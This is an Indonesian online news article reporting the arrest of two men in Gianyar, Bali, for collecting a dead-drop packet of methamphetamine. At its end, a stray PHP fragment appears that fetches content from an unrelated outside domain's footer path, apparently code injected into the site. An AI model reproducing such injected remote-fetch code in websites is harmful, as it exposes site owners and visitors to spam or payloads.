Ambil Tempelan Sabu, Dua Sekawan Ditangkap Polisi

Kamis, 22 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Gianyar | jejakkasus.info – DOR (33) dan TS (27), dua pria ini harus berurusan dengan petugas kepolisian. Pasalnya mereka kedapatan membawa narkotika jenis sabu, pengakuan pelaku kepada polisi barang haram ini mereka dapatkan dengan cara membeli dari seseorang dan ditempel di kawasan Jalan Raya Celuk, Kecamatan Sukawati, Kabupaten Gianyar.

Pengungkapan kasus penyalahgunaan narkoba ini berawal saat petugas dari Satuan Reserse Narkoba Polres Gianyar yang dipimpin oleh Kasat Narkoba AKP I Nengah Sunia melakukan pemantauan di Jalan Raya Celuk Sukawati pada Senin (19/8/2024) sekitar pukul 17.25 Wita. Polisi mencurigai gerak gerik dua orang pria yang berboncengan, setelah dilakukan pemeriksaan didapati dari tangan kedua pria tersebut barang bukti narkotika jenis sabu yang dibungkus 5 klip plastik kecil.

Baca Juga:  Patroli Gabungan 3 Pilar Polsek Abiansemal, Ciptakan Kamtibmas Yang Kondusif

Kepada polisi, para pelaku mengaku baru mengambil tempelan paket sabu ini. Barang haram ini mereka dapatkan dengan cara dibeli kepada seseorang yang saat ini berstatus DPO dan membayar dengan cara ditransfer. Rencananya, sabu ini akan dikonsumsi oleh para pelaku secara bersama-sama.

Baca Juga:  Satpol PP Segera Bongkar Portal Rw 06 Perumahan Taman Majapahit Estate Semarang

Kasi Humas Polres Gianyar, Iptu I Nyoman Tantra, Kamis (22/8/2024) mengatakan dari tangan para pelaku polisi berhasil mengamankan barang bukti narkotika jenis sabu seberat 1,17 gram netto. “Para pelaku dan barang bukti diamankan ke Mapolres Gianyar untuk proses pengembangan serta penyelidikan lebih lanjut,” ujarnya.

Baca Juga:  Selama Bulan April 2024 Satnarkoba Polresta Denpasar Ringkus 35 Tersangka

Atas perbuatannya, para pelaku diancam dengan pasal 112 ayat 1 Undang-undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika junto pasal 55 ayat 1 dengan ancaman paling singkat 4 tahun penjara.

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>